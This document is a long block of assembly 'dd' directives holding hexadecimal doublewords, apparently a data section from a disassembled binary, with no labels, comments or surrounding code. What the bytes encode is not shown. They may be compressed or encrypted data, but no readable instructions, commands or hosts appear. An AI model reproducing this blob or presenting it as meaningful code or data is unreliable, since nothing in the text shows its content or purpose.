dd 0C101F2EEh, 4D00D8D1h, 0E7B05448h, 18AC52h, 0F53FE029h
dd 0C9C0853Bh, 4FF9190Ah, 0F032C34h, 41B204BEh, 94F92C51h
dd 0C4F92080h, 0A2AD332Ah, 32240600h, 4FB38D48h, 58D00276h
dd 1A1BE5BDh, 7E8B443h, 55517B4Bh, 0DA11CCB9h, 2BBF7100h
dd 34AD1EE6h, 0B112064Dh, 3043B393h, 4B963C00h, 73D7E39Dh
dd 0CF2300C0h, 0A72595A8h, 8E29FE9Ah, 6280E0A4h, 812AB4F7h
dd 0C370861Fh, 0E6ABD980h, 9FFD09D7h, 9E034716h, 0A5B01EEAh
dd 50016E18h, 7FA7E303h, 0B5C8983Fh, 89E400E2h, 0A38B4E74h
dd 491C8CE1h, 0DBC128A0h, 0A14DF38h, 0E8C9D980h, 8DA5F44Bh
dd 9E5F9F01h, 456091B2h, 4CE0C980h, 66F951E3h, 0C839500h
dd 0A6F9F69h, 186E1814h, 0E8224831h, 1948D074h, 0D3C58014h
dd 11D998F2h, 0CF92A177h, 0E8007FBDh, 16DBACDCh, 6E380009h
dd 99E3A3E1h, 1F00CF12h, 8AF7CD14h, 7B1A3D1Dh, 9C370AF4h
dd 1AFB3E7h, 0D61105Fh, 0E1ECC908h, 18D0E881h, 527D1104h
dd 882AA8Ch, 1344CEEh, 38892096h, 0EE2675ABh, 3C02084Eh
dd 434DC11Eh, 0B0B9C0E1h, 54600D0h, 0C076AB9Bh, 0B7121335h
dd 9401F35Bh, 3A03EA2h, 0ACDA44Ch, 0B07031BBh, 0A421A0h
dd 49271739h, 0E3006FA9h, 0B7CA31Dh, 22606C3h, 730E24E1h
dd 0D86A6570h, 0BC840C97h, 6A202BFDh, 0F4009F60h, 5BCD3FB5h
dd 0B08CEh, 32FAC63Ah, 0F071EF6Eh, 802DAE3Dh, 9F91656h
dd 12277ADFh, 303A7650h, 0D015D198h, 8B933D14h, 95B2C490h
dd 0BDDDD300h, 0A300BC35h, 0EFC25CBEh, 2936A9B1h, 2845616h
dd 3F5308E9h, 7FD03440h, 22B6B10Eh, 0A7882907h, 3544C8Ch
dd 96D3D120h, 1511F9E2h, 0C2007C01h, 41526391h, 110370E8h
dd 0EEA72716h, 0C4F6A065h, 4D698D2h, 0ACA1E3CAh, 0F13C8858h
dd 1F1DEAFCh, 8E4043B7h, 0A87F3EC9h, 0D27467h, 142175BBh
dd 0B623BE04h, 0E87C6B01h, 68FDA639h, 141CA836h, 0B13F8464h
dd 54A3107h, 0AEBD9600h, 9EEE8773h, 0CCB94B00h, 0AC7E5AE2h
dd 46D100B8h, 0B344A8BCh, 86B8389Ah, 0CAF8A100h, 24C176B1h
dd 90B63BDCh, 1520C0B0h, 3300B76Fh, 76740266h, 505B22h
dd 68A9D9F9h, 0C56ACD41h, 0FA798700h, 8BA5340Ch, 0F95C0097h
dd 0FF4DE86Fh, 69000847h, 41A7C6FEh, 0D80EB7h, 5E16E5D5h
dd 0B662ADE6h, 6B926700h, 6FF89E85h, 0E7E400ACh, 0D44026D6h
dd 0C400839Ch, 0BC55B24Fh, 0F26003ADh, 0E3530030h, 67452CDCh
dd 0A51B8F3Ch, 0B3783341h, 0B98664h, 0ACAAA459h, 4C7E83BEh
dd 3716C000h, 3D0F30E6h, 8F010024h, 0AA91A114h, 930640CCh
dd 0FF677D0Eh, 36210040h, 2CC8E698h, 8214ED71h, 18CB6F2h
dd 1A8CF0D9h, 6EF0B2FDh, 19800654h, 20B4CC87h, 34FC9300h
dd 0A683C865h, 33700Dh, 0CBD5648Dh, 0AD9010CFh, 4FA56600h
dd 0D7E46952h, 42D81F24h, 32870046h, 57668EEEh, 0C017D0C0h
dd 0F8031936h, 0EAFD0E3Ch, 0F1856947h, 0AA9800A6h, 38197C58h
dd 5CBBCE1Fh, 5490D700h, 22275D3h, 2C298C71h, 0E08F68D0h
dd 9E10DD00h, 0CD008D2Ah, 0E8F103E3h, 548B3DFDh, 7139C54h
dd 0FB81EBF3h, 0E6CEB0E4h, 0DAE9B071h, 733D8CA3h, 0F5995AA0h
dd 1CF40228h, 9F840401h, 630F88Bh, 0DDC5B0E7h, 29950317h
dd 0FD929E6Eh, 0FF075FC0h, 3870F82Ah, 0D64CD202h, 18B217A2h
dd 47005F58h, 1EE20BCh, 74F0B486h, 46BD009Ch, 3B157DAAh
dd 0FB09CE10h, 21239F85h, 0F825B700h, 305077D5h, 46C6907h
dd 745FC506h, 18D46E3h, 78C10020h, 2B6DBFEDh, 992AE508h
dd 0D0E0F4E8h, 0E27913Fh, 36D84C8Bh, 83E9ED0Bh, 1DA6AC08h
dd 0C0AB4341h, 259B2D93h, 0F3CCE8Eh, 0FBCB80A8h, 0FDE90917h
dd 907406C5h, 0A8BDAE66h, 0ACD70F00h, 773767CFh, 0CD542492h
dd 403C1240h, 0ACD5E7B4h, 1C018769h, 884DB9FBh, 709C02D6h
dd 0BA71805Ch, 0D1C98972h, 35597904h, 2083517Ah, 0D24AA03Dh
dd 0D8705471h, 89030012h, 41A65827h, 0AF7AEFBDh, 5D440807h
dd 0FC607EBFh, 795B8C47h, 2050061h, 2F45D4F8h, 66099349h
dd 519F15h, 2401D954h, 0D6705CF0h, 37973804h, 0C98C8AEAh
dd 333C84C8h, 5A8E8C90h
dd 3DEE831h, 0AA3BAC1Fh, 2000D3B8h, 0E1141D4h, 2D6542Ch
dd 1357671Ch, 0A082F932h, 0C61863D9h, 49730841h, 0F85867F4h
dd 0AE7A1Ah, 0A95752Dh, 86AC6DDAh, 294A4E00h, 9CA5683Fh
dd 74BA15D1h, 0DA80CC95h, 142D3F48h, 8932421h, 6C0B752Fh
dd 8F580064h, 0ECE9C0EBh, 0FE71263Bh, 745E8038h, 0A0F1650Eh
dd 5AA4D201h, 5357CEDDh, 0A599A440h, 7E70126Ch, 90F44241h
dd 0E108C6Fh, 0C110293h, 0F5C03722h, 41DA2622h, 43020DCh
dd 0A2CF03A8h, 6EBA6574h, 1DB3C123h, 5ED28278h, 121A5024h
dd 9910688Ch, 0E7F0004Fh, 0D70C7DC1h, 0CF48B463h, 8B421CA4h
dd 0F955B0B0h, 86D52968h, 253C5954h, 0A4A980C0h, 5B2C57C5h
dd 58FEA88h, 468A342Fh, 0F5F80B9Ah, 0A91F4020h, 26005DB1h
dd 871A55A5h, 31365F42h, 6FD1A0F2h, 0C4404A89h, 3C3031D3h
dd 5D003962h, 0BE68511Ah, 494A7E05h, 0F9035CC9h, 5C9C3C71h
dd 0BE4EB7h, 0F50A25D3h, 3F010243h, 0FBCDE34Bh, 13C1C178h
dd 0EBB813EFh, 265C6BFDh, 0FB00918Ah, 3AF815E1h, 74A40019h
dd 0D16F1F9Dh, 9101B32Ah, 0FBD2400Ch, 0D4533A0Ah, 0F0F3D87Ch
dd 7E57045h, 0CF35C686h, 0DD8181AFh, 0FF3C20F4h, 6937961Dh
dd 54F1C9h, 0D92459D0h, 160F001Bh, 9978175Ch, 3E00CB87h
dd 71121F91h, 0AB27A4h, 58E636A8h, 48C3E84Ah, 35FF8800h
dd 998B7239h, 8C5B0010h, 2F9D0264h, 45079C8Dh, 3617186Dh
dd 27CD35F0h, 86A607F0h, 83344ECBh, 87C1C2Fh, 8CB5C600h
dd 9B21CE41h, 955B3071h, 73D69ACAh, 9D029E7Eh, 344727CAh
dd 129C81DAh, 55F8F5D1h, 0F9670007h, 0E2DF83Eh, 0E80026C3h
dd 8D9902BAh, 0D16A7Ch, 937BD913h, 0DF1E23AEh, 0A274EA00h
dd 6A7A0ABBh, 5DE15CF8h, 42319230h, 6D1E1E76h, 0F343E458h
dd 0E049B35Fh, 0E12ABD7Ah, 65C1D8h, 71F82BA7h, 978C86A3h
dd 11C06490h, 9BB69D85h, 0E8313C23h, 8DE3C800h, 4B1C12B3h
dd 202A56h, 855E761Ah, 0A1E95039h, 59615318h, 58881409h
dd 0B140D93Eh, 0F8738DF1h, 0EA4B0CB3h, 6008A439h, 430BE56h
dd 4F6CE11Eh, 90133918h, 8A485D1Fh, 4C2B601Dh, 0D89670B1h
dd 0BAE2331Ch, 4FEA4908h, 0A20ED11Ch, 0D32B38D1h, 0DE9D6878h
dd 0F3802151h, 4A493804h, 9A3D6539h, 1EA8C7AAh, 0DCCE149Ch
dd 938E3438h, 4E4AA019h, 0E31611A0h, 30AAB3C6h, 6250CA56h
dd 987F6E60h, 7DFF5364h, 518AE1Ch, 0D2E1EC1Dh, 0E7CC42BAh
dd 44B8761Fh, 0EE11B162h, 8A203B48h, 10841301h, 1BB96A4Bh
dd 0C6941420h, 48E3EA08h, 70B3B485h, 9051FA31h, 80923324h
dd 0D0A07A4Ah, 0C948780Ah, 0CA2B1D60h, 0BFD3153Ch, 3C168548h
dd 98D32431h, 94C12A01h, 1494A789h, 74C8E1AAh, 20B4B931h
dd 96E26302h, 0DC911150h, 33F3870Dh, 873A0DAh, 3AAABE88h
dd 217893C1h, 1EA0C88Eh, 88B0CA86h, 98C3BBFEh, 3138124Ah
dd 0A08D010h, 89EA00C0h, 6F0490D6h, 0B30908A7h, 6F6A2802h
dd 0F10ADC96h, 3C303223h, 1048B384h, 0AA10CC11h, 0D86A188Ch
dd 83B22A88h, 191F93E3h, 0F829B733h, 98B51EE2h, 0C44D536Ch
dd 930F7461h, 683729E0h, 0ACC358A5h, 7C8BA4BFh, 0D8E9B062h
dd 309BD891h, 1F017354h, 9E8A4B2Ch, 745D49ECh, 0A6868888h
dd 3213394Ch, 79C8B35Dh, 70B17067h, 2035E0B1h, 0C6333800h
dd 0AA78099Eh, 88BCBD6Eh, 0ACE40D06h, 13386DF1h, 381F24B3h
dd 930CCA1Ch, 288A37CEh, 0EE9A1553h, 72C03049h, 95CCAFE5h
dd 0AA56F9C5h, 30B4980Dh, 0C7E2C1Ch, 0A63A5CEBh, 6092D6F1h
dd 5C91767Fh, 0BF468BC0h, 7874A01Dh, 0C01099EDh, 43469294h
dd 33D329C2h, 5BC9CC3h, 9B3EF05Dh, 702890C1h, 3CAE7B76h
dd 3D1023FCh, 9300B116h, 4A7B7762h, 7448DF9Ch, 0E280B7DCh
dd 0A8C6F27Dh, 0C5D6ECACh, 1F364CA8h, 0EEBD288h, 6094F820h
dd 4D97D9A0h, 5371F462h, 4A08C8D7h, 280AE85Eh, 24A8BB11h
dd 7044EBD4h, 0E1243E50h, 8F46402Fh, 4C348EA8h, 281525D1h
dd 31BC06Bh, 842A0D4h, 4DE2804Ch, 51283F72h, 60EFC0B2h
dd 788A90D8h, 0D753156Ah, 0BB9D87F4h, 388CA427h, 0B06431D3h
dd 4E5E63B8h, 0A6D917F4h, 0CC7F8D0Ah, 1CD6F48Bh, 0C3E6061Ch
dd 583537B2h, 244F9329h, 4CD49182h, 0B384A112h, 488935AEh
dd 0B89C37F5h, 78DADE09h, 538821F7h, 7423356Ah, 4FA1FC80h
dd 1B88A60Ah, 150A539h, 53EA0EBFh, 0A813022Ch, 0BFE028E4h
dd 543D2738h, 98E9AC33h, 47EA3CE0h, 0A07F8DCCh, 0A3BC2AACh
dd 0D58BA3CCh, 9F27BC83h, 7BE03C4Ah, 0CE30A536h, 78F8D3C9h
dd 0B64CDE6Ah, 40A4316Ch, 88509AAh, 3837D88Ah, 0DE0595F8h
dd 0B1EB24A6h, 3E41C404h, 0D02D4CEh, 47D495Eh, 29F0C4A3h
dd 3C586814h, 0D47A050h, 27C230E2h, 2A6AB330h, 0C01FF0C4h
dd 0AC0574CEh, 4229E79Ch, 59C653B8h, 8BB41C40h, 721FB8CFh
dd 9CCDF004h, 5D34480h, 918A017Ah, 622A77CBh, 0D6EAD088h
dd 744BB02Bh, 0DB33981h, 0E85196ACh, 0EC20E7EDh, 0CE4818h
dd 0F0F14D14h, 813C416h, 0A052930h, 0C80262Eh, 3877F53Bh
dd 68E387CAh, 6AC082C8h, 780C9775h, 10CC7B2Ah, 79CD7C4Dh
dd 0A896630Ah, 1032D119h, 0C3E8211Dh, 0E943FAD8h, 119075B4h
dd 0BED841D4h, 89CD0AC0h, 0B659AC78h, 0A83DDDF0h, 0ABAB13FCh
dd 74E8F194h, 161838D0h, 4A6B0A7Ah, 3A8C5C94h, 0EAA8E530h
dd 0A894EE8Ch, 0BA92DC26h, 0F9A99070h, 801B7D53h, 0C0A09C33h
dd 0CA800F6Ah, 4AF71DC3h, 74E9402Ah, 70BDD0AAh, 424CBCE8h
dd 6162185Ch, 98DB5C90h, 93180314h, 3B5BAA4Ah, 2C85082Ch
dd 0FA885178h, 0D38F4035h, 5058CF33h, 8A780B04h, 0F4029054h
dd 0C0838946h, 4AA1CF23h, 70C444C7h, 0B87B3C28h, 12A65120h
dd 0A6247F3h, 0AFCC184h, 0D983ACAh, 0E3C82CAAh, 5911E4C8h
dd 7CBD772Fh, 0C01D3Ah, 1373A999h, 0C87C4A79h, 4AAB919h
dd 18BCFE10h, 4243520Fh, 7EC8884h, 99811AEFh, 2087D612h
dd 0C03EF353h, 39499690h, 10F5E533h, 0B9080020h, 0F9130232h
dd 423E52C3h, 0FD5BC19h, 8F3339D9h, 1FCD8F99h, 0F928AB1Bh
dd 608C58C4h, 1D306107h, 1911443Eh, 4D08873Fh, 2605C307h
dd 860AD019h, 60806A08h, 13CF3FF9h, 48DD9939h, 851C80Ch
dd 770962Dh, 43498CFFh, 0D81824A5h, 0A7386EE4h, 9428CC6Dh
dd 2D667908h, 1930EB21h, 388B1B99h, 1848BC4Eh, 0C9202319h
dd 0A338CD77h, 7072E008h, 0F443C0C6h, 5C803E70h, 50B45939h
dd 87BC628h, 0D691139h, 0D882AE99h, 80AFF707h, 0F910935Ch
dd 0A4DE5015h, 0E8AA78B3h, 0F8DD78AEh, 9918C384h, 281FBCA8h
dd 3917E041h, 5C30DA19h, 0D59208Dh, 0F3C5F058h, 9661D9E8h
dd 0A5EF928h, 8C8C043h, 0DCA13908h, 2076B20Ch, 8786080h
dd 0D9108D8Bh, 68910F31h, 99E08EE2h, 586A60FFh, 7C2C93CEh
dd 4800CDFEh, 0F0D89770h, 8BAE6FDh, 73D76364h, 0F9F88B18h
dd 2828929Eh, 37F4F7DDh, 0A6181F69h, 1C3228EAh, 437098E9h
dd 82D3E240h, 81BCB9BCh, 0F60279E4h, 40E72820h, 406426D6h
dd 3C812338h, 188CA259h, 0D908F019h, 68C5D17Eh, 0C01487E2h
dd 0FBD040C1h, 120CB63h, 0AD183A61h, 0D1EC98EEh, 80DF8A50h
dd 2031509h, 84283D50h, 30819DD4h, 90248839h, 0DC4350D3h
dd 103B648Ah, 19248037h, 8C96B33h, 0FF242FECh, 24A23020h
dd 4989EA10h, 9948CAF8h, 58773710h, 2870E443h, 0FC986220h
dd 499500C0h, 3DBEAA19h
dd 1EFC1F9h, 0E88CFCDFh, 44A00691h, 0B910C905h, 0CC057F5Dh
dd 0F8097194h, 4180FF3h, 0C81D4AFh, 51E3DB5Bh, 11E01CC8h
dd 4AA8A0D3h, 0A228CAA5h, 0B82B3CF0h, 204381ECh, 0F340D5h
dd 98BBB283h, 0C922F214h, 81EA2E8h, 0AB17C704h, 2306EE89h
dd 5976C818h, 7988A767h, 482278DCh, 0AF14308Fh, 1F852096h
dd 63DA808Bh, 430A648Dh, 343DC13Eh, 0E33B40EFh, 0E58C64D7h
dd 0A12D4ED4h, 70308480h, 9836219h, 0B0825762h, 0F885ED51h
dd 35E446ADh, 954C1077h, 936A7C6Ch, 1B143808h, 741526C4h
dd 8F46288h, 0D0229427h, 744BFC82h, 4604CF9Ah, 18769444h
dd 80F49909h, 74982039h, 81961931h, 208CCC0Bh, 283860DEh
dd 1266789Ah, 4D31C809h, 61247810h, 0C1123A88h, 22080D5Dh
dd 4CFC0538h, 0A8091F50h, 0D9132890h, 5C068ABAh, 4DE06B60h
dd 687B783Fh, 3EC82970h, 0F06DBA19h, 7970342Ch, 301411CCh
dd 84C05159h, 0C6199AF0h, 185AAC48h, 0A035B731h, 94417567h
dd 0E88C3788h, 0D9687D3Dh, 0F31E28DFh, 7CD818B3h, 11DD6208h
dd 9903E9A3h, 7FB0264Ah, 105B9198h, 21025D5Eh, 0E89912C4h
dd 0BB199460h, 59206C90h, 0E3F92479h, 0A3343E78h, 0DE6CC008h
dd 613A4B9Fh, 312B0F52h, 4D6B0755h, 7C2110ACh, 2D8B0054h
dd 1FEB7133h, 0AB377270h, 0D883187Dh, 0FA300356h, 5C4B7104h
dd 0EF2B080Fh, 150B0201h, 7380222h, 0E023BD03h, 0C005138Bh
dd 72E15150h, 74F4CD2Bh, 9663A0F8h, 0C07CE808h, 7C3CB0Bh
dd 8F3B2BA3h, 216E7372h, 0B03E6873h, 0FE191D74h, 2CA3033Ch
dd 743D8B9Eh, 3BEFE20h, 0CC50B72h, 44F8AE8Dh, 0A479A2A9h
dd 7A32620Fh, 9135C231h, 0BECC380Ah, 3E934E01h, 0A3F0D5C5h
dd 3548F081h, 8ADE2B9Eh, 1C696BB8h, 15ACD460h, 588F60C1h
dd 9E378BF5h, 0AD054B77h, 2001EB72h, 5CB88005h, 0D54901Fh
dd 72EF8120h, 1EAE8FDh, 98588195h, 12D1B838h, 0C38CA3FCh
dd 0CE0AE596h, 0D339DC6Eh, 0D4E40044h, 3F9B373h, 0EBB531C5h
dd 8F341C49h, 3DD8FC0h, 0E5F5F66Bh, 6AF12070h, 8980FF53h
dd 725AC955h, 0A4AEBD8Bh, 0D174410Bh, 0C6FA00E6h, 0F24D8575h
dd 7BEF28ABh, 33F03DCh, 6198EBAAh, 0FDAC1818h, 0CD0B548h
dd 0AEEC6BA3h, 0AF7444D0h, 842EB36h, 104C6498h, 9046448Dh
dd 0DF980081h, 0D09EB089h, 8A430402h, 203F0041h, 0BD3EAB28h
dd 5E30788Bh, 65F8701Ah, 0F5CB309Fh, 0E5F0B08h, 9763BCA0h
dd 0E74280C2h, 39E49672h, 4600AFD7h, 15C69A1Ah, 0A33AE5D1h
dd 3032248Bh, 72E8A406h, 88F26550h, 9C61F5Ch, 0C1C3308h
dd 57CAFF05h, 9407552Ah, 0AA010135h, 2421BF0Bh, 0E102C00Bh
dd 80078289h, 0E7E6D500h, 7BCB29A3h, 255A414h, 376B35C9h
dd 0AC753840h, 0F7EAA8A3h, 60F4B486h, 0CD242B73h, 965838A3h
dd 92327148h, 6D952474h, 6678896Ch, 5D1E2C1Eh, 3190F467h
dd 14D00628h, 0A4BE304Bh, 0D529E6E0h, 0F85B6E31h, 10252855h
dd 0E4971418h, 4E8B2034h, 0B6567514h, 181026ECh, 94CBEB0Ah
dd 0F0FAA38Ah, 0A04C920Ch, 0F0A44884h, 0B57A01E0h, 50578130h
dd 12B5815h, 0DE78EB9Eh, 24960BA3h, 7D48BE24h, 38401234h
dd 0A6AACC09h, 0F8109F50h, 83963BDh, 0E028ADD9h, 0DAF8FCB7h
dd 2B197C98h, 4F2032ECh, 9A839434h, 3091249Ch, 289E1B48h
dd 0F3430BF1h, 2119519Bh, 75D033A1h, 0F9B038BFh, 5E462B48h
dd 876F2490h, 6BD0828h, 4857D9ABh, 0ECF92328h, 8410CB6Eh
dd 0C0C34F69h, 1A613703h, 52764318h, 0E09C0814h, 4AEE1F90h
dd 0C66AAB06h, 8D3C24C8h, 849B1414h, 81A12B0Ch, 1066D710h
dd 0A338A4E0h, 0D4191800h, 8016486Dh, 1161CBF0h, 62B02B10h
dd 65059841h, 673BC08Ch, 10C396D8h, 30FE0F8Bh, 0B483930h
dd 30C91B7Ch, 0ABDC079Dh, 0A00664E5h, 7428B130h, 0C6BE819Bh
dd 0BA7D2C41h, 0EF1D1260h, 8A1CE406h, 0E9C326A0h, 18E818C8h
dd 6665B16Bh, 8805BEE0h, 0D40E288Bh, 9EDA84Bh, 0E0039E70h
dd 28141AE2h, 19A8627Eh, 0C610F60Dh, 0E2EB1030h, 0E268CD19h
dd 0F6D8F010h, 1CE498A0h, 25EC58CBh, 5C93306Ch, 5709263Bh
dd 0F74B0650h, 4824103Ah, 0F873EC30h, 4D12BD9Bh, 0B414045Ch
dd 8BA0143Ch, 0EF204617h, 0BBD52050h, 8153EB23h, 70DED916h
dd 0CF50058h, 0C0744272h, 1711BC7Eh, 2495814Fh, 7CF06B7Ch
dd 710018A5h, 634B1ABFh, 28F490FCh, 48F8E628h, 8B090C07h
dd 6825E9EAh, 4F9004F8h, 0C4440A56h, 8DD1123Eh, 14C85450h
dd 7CA40F4Bh, 6BA02F50h, 7802763Ah, 30FFAE24h, 2B08D118h
dd 72AA2650h, 30575874h, 9155EB37h, 727C3B41h, 93C02432h
dd 2503771Dh, 0C2BE9A40h, 0EE7A8BB8h, 0F849C105h, 0D5942E36h
dd 0DCC528FCh, 209ACB2Eh, 3884A035h, 0C9012C8Bh, 2BB9D84Dh
dd 0DC1D019Ah, 0CABB08Ah, 54C30CE4h, 8A647A60h, 18D33418h
dd 8B6816FCh, 0B1B849B6h, 575F2422h, 8503B467h, 186B845Bh
dd 0B8BD35C9h, 0FA624C4Bh, 837F7058h, 26EBDDBCh, 925CBF08h
dd 2CF412D3h, 0D11689F4h, 68446DBEh, 0A08078D5h, 0C54B3E8Bh
dd 38802758h, 0BE0ADAA8h, 0BC27ECB9h, 0FC1EF50Ah, 0C0466F92h
dd 6808B02Dh, 58DC4884h, 40315D20h, 4895C950h, 9C817462h
dd 8A1614F0h, 902AB520h, 8450B09h, 0E558C028h, 94BB12A0h
dd 6044649h, 0C829C8F2h, 62457CECh, 18A4CD83h, 30357581h
dd 0D4A3BB0Bh, 4A8C57A1h, 3613017Ch, 9BA15CECh, 0C057F442h
dd 0C2284B08h, 9F5F4FA1h, 148788E5h, 2A95D981h, 0D45FDC4Ah
dd 1991CB05h, 79E89038h, 0CC635277h, 0F98B3161h, 48804E18h
dd 93100CB1h, 61F59886h, 7C8B90E3h, 19C889AAh, 0FE3807F4h
dd 0B571885Ah, 0FF835BD8h, 64AC9501h, 0F38224h, 0AE748763h
dd 39510B1Ch, 0F4A7C337h, 385565B5h, 0B21E6D80h, 2920FD5Ah
dd 60140A55h, 7EB8A8Eh, 75E44A50h, 78558929h, 0DFB29247h
dd 81C491ECh, 98C38C64h, 5CA5E8E8h, 0D5E02883h, 1F208ED9h
dd 1A352C4Ah, 0A18B095Ch, 486A489h, 75260867h, 1D71808Eh
dd 0A8B8FCC4h, 0C565D5B4h, 8429CB28h, 16E42C58h, 0CEA76E15h
dd 5DF50A90h, 6B05F846h, 6C70710Eh, 28B3B5E2h, 0A58034CFh
dd 0C899E8Ch, 0B521DF6Ch, 14B86749h, 3880DAC4h, 71D8D0EEh
dd 6467DCA9h, 62626658h, 40E1B208h, 988BA454h, 944D5D38h
dd 0F4597C7Dh, 0FC28E9DDh, 160FE3B0h, 559C1E54h, 6018AA33h
dd 8B080C23h, 0E510136Eh, 133C704Ch, 0E80B3FC6h, 3668A5B9h
dd 1CEBB403h, 0A22034A6h, 888CC208h, 0E8602059h, 91AD2EB9h
dd 60691804h, 624C738Bh, 5B46E08Ch, 64CF59D5h, 0C3A1671Eh
dd 7134D97Bh, 586284D0h, 19CEFF0Fh, 6C76607Fh, 58F89048h
dd 0E50068A0h, 0C44F75F4h, 14A45991h, 0AD1022E8h, 450164B9h
dd 843E4997h, 0E4588A30h, 7260187Eh, 88619896h, 4E32125h
dd 28BB4060h, 5E1120D0h, 20C58502h, 984D243Eh, 116BD14h
dd 0F5600B73h, 4C36517h, 12B65470h, 0C54144D4h, 5028AF68h
dd 0E780BEEFh, 17F7A265h, 44F540A5h, 52008047h, 0A2BDAE20h
dd 50217ACh, 643E266Bh, 0A5DC386Ah, 95B37518h, 5245E528h
dd 0B480783Fh, 2602B55Fh, 0BC006DFCh, 3D9111DDh, 752621Ch
dd 2C44A437h, 0C66A308Fh, 0CC75223Ah, 0EC79DC01h, 63F59DA6h
dd 72301448h, 2D962077h, 717C3Fh, 0B8989D91h, 90833DA5h
dd 0D57D3F32h, 1F5D01F4h, 0BCFDA6EEh, 284AC3h, 5C075696h
dd 6A9746h, 0A6F1089Ch
dd 721C851Dh, 3CA95F03h, 0E875EABh, 0A89E6909h, 0C0AAFB47h
dd 0A464B63Eh, 11A61E33h, 4008DEB8h, 4207DE4Ch, 5ED057AFh
dd 0DE81A00h, 3EE5073Ah, 507C400Eh, 1EABC6B4h, 14A82429h
dd 0D66ABB00h, 120EEAEh, 0C53E057Fh, 4D377EABh, 0F044F828h
dd 28C41272h, 3C1124A5h, 0EA055FC0h, 28C12A92h, 0A40186C5h
dd 941C36FDh, 2C0D63Ch, 657C9C0Bh, 0E13C086Ch, 0FDE3A022h
dd 0D385009Ch, 0EDA0CE3Dh, 30C626DDh, 1F62DE08h, 263EA414h
dd 0F4C2DF70h, 12BAA42h, 40ADB125h, 48A8FB9Ch, 6C80FE42h
dd 99ED2A4Eh, 1E4530C0h, 15DF721Dh, 30AB5AFDh, 0D7E2BCCEh
dd 0E502EF88h, 0BFE88254h, 802C9B3Dh, 0FFCFF0h, 0FBCA0310h
dd 800C0EB7h, 0F9A34500h, 0A53736E0h, 9F70002Eh, 0F1501668h
dd 31C0E1C3h, 0C0E4D75Bh, 30452961h, 728D0114h, 7CF29h
dd 11838A3Bh, 0C048A1C0h, 1E0FD435h, 0CADB03CCh, 0F9B3D59Bh
dd 23384282h, 0F0CF1854h, 4F7B501Ch, 81C08C08h, 26E2EE49h
dd 422E7578h, 0BAF75D66h, 0FCB68364h, 0BB290C10h, 1C78DED7h
dd 0A0147974h, 0A0442452h, 2055AB95h, 1B3109ECh, 7A80300Ch
dd 82B4813h, 0CE0174A0h, 0C31B8847h, 0CFC0FB03h, 4F4740F9h
dd 99870303h, 2818C9A4h, 0E891695Bh, 0C0F201ECh, 20F6CB42h
dd 55398754h, 6A312A6h, 2CD2A8A9h, 4F3D007Ah, 446472EFh
dd 0F73F2FE1h, 542D8AE4h, 20021812h, 80D0480Fh, 5134D208h
dd 320830A4h, 4FE62B08h, 0CE4510DFh, 578023A6h, 3260FEh
dd 0F7812D75h, 499615CBh, 5BD00600h, 9E3E72DAh, 0A44E0EC8h
dd 0CB600A93h, 0E396E8Fh, 0CFAB3806h, 188DC82h, 8A073668h
dd 80BF876Dh, 1CB68970h, 0B2DC712h, 9A489DEAh, 502E0C75h
dd 9B15004Dh, 0E67DA083h, 0E7006293h, 121B2664h, 0BC680h
dd 5343DBEDh, 3E566FC4h, 0CB5D5200h, 85F45C71h, 420D0049h
dd 634CAD72h, 7A01BE4Fh, 3C2F7520h, 58F0E483h, 0D897005Ch
dd 9310A9B2h, 0EC003FD7h, 6D404663h, 14BD7Bh, 413D04Fh
dd 0DB99735Ch, 0DA633D00h, 0D2EC7D6Bh, 0AAA70018h, 396760F9h
dd 0A0B08A3Eh, 0D47258F8h, 8E99A60h, 2569E0h, 932BE56Eh
dd 0F4CAEE9h, 0CF53F500h, 3F0AC4E8h, 37F70354h, 48C32939h
dd 61A0A880h, 9A3D5900h, 58AEF508h, 0FC690030h, 0E9338CE7h
dd 430096C1h, 5504D64Ah, 5082C5h, 8A95D4B9h, 7249EC6Ah
dd 3773F900h, 1D3AF0DAh, 32F0A8CAh, 0B3940264h, 0CD5F0EBDh
dd 0D8240449h, 853AF677h, 0B84B006Eh, 978E93A7h, 208A001Fh
dd 0A45EF828h, 7D060170h, 4EBFF63Dh, 0B5510C51h, 1B11A9BAh
dd 0A65A1400h, 98CA585h, 0A39B01E2h, 0A9BD5FD5h, 0A742FC55h
dd 432B39CFh, 0E1CBA518h, 70FC7640h, 0FF370016h, 9D8B4548h
dd 3AFC5F46h, 8A002DE8h, 0F4248985h, 30F78C0Ah, 0E048A56Ch
dd 961E0352h, 7EC13F9Dh, 355173C8h, 0BB88D880h, 3C47F13h
dd 56A67600h, 1A244E63h, 7811C60Ch, 0FA004999h, 2B0545C8h
dd 714486h, 0F1D5685Ah, 6B083D5Eh, 5F04A1FEh, 9522DF18h
dd 0BB637C90h, 6CE40376h, 891D45B9h, 0B5C11800h, 0B0CEE1BDh
dd 81F200CBh, 87A4204Fh, 5558C263h, 99BD0060h, 6DBEBC37h
dd 0A3DA075Eh, 0A0E156E3h, 68BFC706h, 0CEA1900h, 97CFCA8h
dd 0B5AA0F79h, 8AA30FACh, 4B900142h, 371CEBD0h, 1899865Eh
dd 2F084D28h, 843FB344h, 31BAC610h, 0B25F7108h, 454D4104h
dd 0CE424308h, 6F252266h, 0B9BB4A00h, 93141DE4h, 5A0D8058h
dd 2DCE4481h, 25E81900h, 0EAABF45Bh, 7F120575h, 0C0AC7E62h
dd 0FB1A8995h, 0A6A1010Fh, 694280BDh, 0AD7F3Eh, 0BF3EEB0h
dd 0DC6D4C54h, 0E87B9600h, 101FC963h, 28040038h, 0B04A8526h
dd 0B200DBC2h, 0DD58EC4Fh, 22BA50h, 13613981h, 7BC4B4E4h
dd 80DFC73Bh, 239254EAh, 0E0D9C6Eh, 43032193h, 27CE6C60h
dd 0AF00E539h, 37D3F75Eh, 0E4B1A7E0h, 0CC7E0BB6h, 2B80C5BFh
dd 5A69BB85h, 6C630400h, 4E0523C0h, 86310072h, 0E66122E1h
dd 0F600B3CCh, 49A8027Fh, 0EEF094B5h, 3EC700CAh, 5AAD70DBh
dd 0D70066AEh, 84F98999h, 7F59ABBh, 66D4B4Dh, 85ABE04Fh
dd 7B1FD015h, 56400118h, 412DA4F3h, 1FC33F42h, 2A985000h
dd 0E2174CABh, 0F2E0DB60h, 6A8D01h, 65917110h, 0EE6B2A4h
dd 0E3FC620Ch, 0A570C3h, 4058907Bh, 226D4A63h, 2AFF6004h
dd 640207DEh, 28002ED2h, 0E05D5936h, 45010347h, 7FABCC53h
dd 109D7688h, 0EDDBC000h, 9C724CD8h, 8010DDE5h, 0FA563A7Ch
